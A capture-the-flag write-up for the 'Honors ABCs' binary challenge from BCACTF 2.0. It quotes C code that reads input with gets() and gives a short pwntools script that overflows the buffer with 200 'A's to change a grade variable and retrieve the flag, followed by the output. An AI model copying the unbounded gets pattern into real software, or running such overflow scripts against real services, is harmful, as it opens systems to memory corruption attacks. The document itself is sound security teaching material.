# Honors ABCs

#### Category : binex  
#### Points : 75 points (254 solves)  
#### Author : Edward Feng

## Challenge  
Here at BCA, we don't deal with normal classes. Everything is at the honors
level or above! Let's start by learning about the alphabet.

And by learning, we obviously mean testing. Don't cheat!

\- [honors-abcs.c](https://objects.bcactf.com/bcactf2/honors-abcs/honors-
abcs.c)  
\- [honors-abcs](https://objects.bcactf.com/bcactf2/honors-abcs/honors-abcs)  
\- `nc bin.bcactf.com 49155`

## Solution  
This was a simple buffer overflow exploit.

#### Vulnerable code  
```cpp  
puts("╔════════════════════════╗");  
puts("║ THE QUIZ ║");  
puts("║ ║");  
puts("║ 1) Recite the alphabet ║");  
puts("╚════════════════════════╝");  
puts("");  
printf("Answer for 1: ");  
gets(response);

for (int i = 0; i < 26; ++i) {  
if (response[i] == 0)  
break;  
if (response[i] != correct[i])  
break;

grade = i * 4;  
}  
```  
`gets` is being used in the code, so we can overwrite the variable `grade`
using it.

#### flag code  
```cpp  
else if (grade == 100) {  
puts("Perfect score!");  
puts("You are an model BCA student.");  
} else {  
puts("How did you end up here?");  
sleep(2);  
puts("You must have cheated!");  
sleep(2);  
puts("Let me recite the BCA plagarism policy.");  
sleep(2);

FILE *fp = fopen("flag.txt", "r");  
```

#### Getting flag.txt  
So clearly, we don't need to assign a particular value to `grade` so we can
just send a lot of `A`s and we should get the flag.

```python  
#!/usr/bin/python2  
from pwn import *  
host = "bin.bcactf.com"  
port = 49155  
s = remote(host, port)  
s.recvuntil("Answer for 1: ")  
s.sendline("A"*200)  
s.recvuntil("BCA plagarism policy.")  
print(s.recvuntil("bcactf{")[-7:] + s.recvuntil("}"))  
```

```bash  
$ python get_flag.py  
[+] Opening connection to bin.bcactf.com on port 49155: Done  
bcactf{now_i_know_my_A_B_Cs!!_next_time_wont_you_cheat_with_me??}  
[*] Closed connection to bin.bcactf.com port 49155  
```

flag : `bcactf{now_i_know_my_A_B_Cs!!_next_time_wont_you_cheat_with_me??}`

[Original Writeup](https://github.com/p1xxxel/ctf-
writeups/tree/main/2021/BCACTF%202.0/Honors%20ABCs)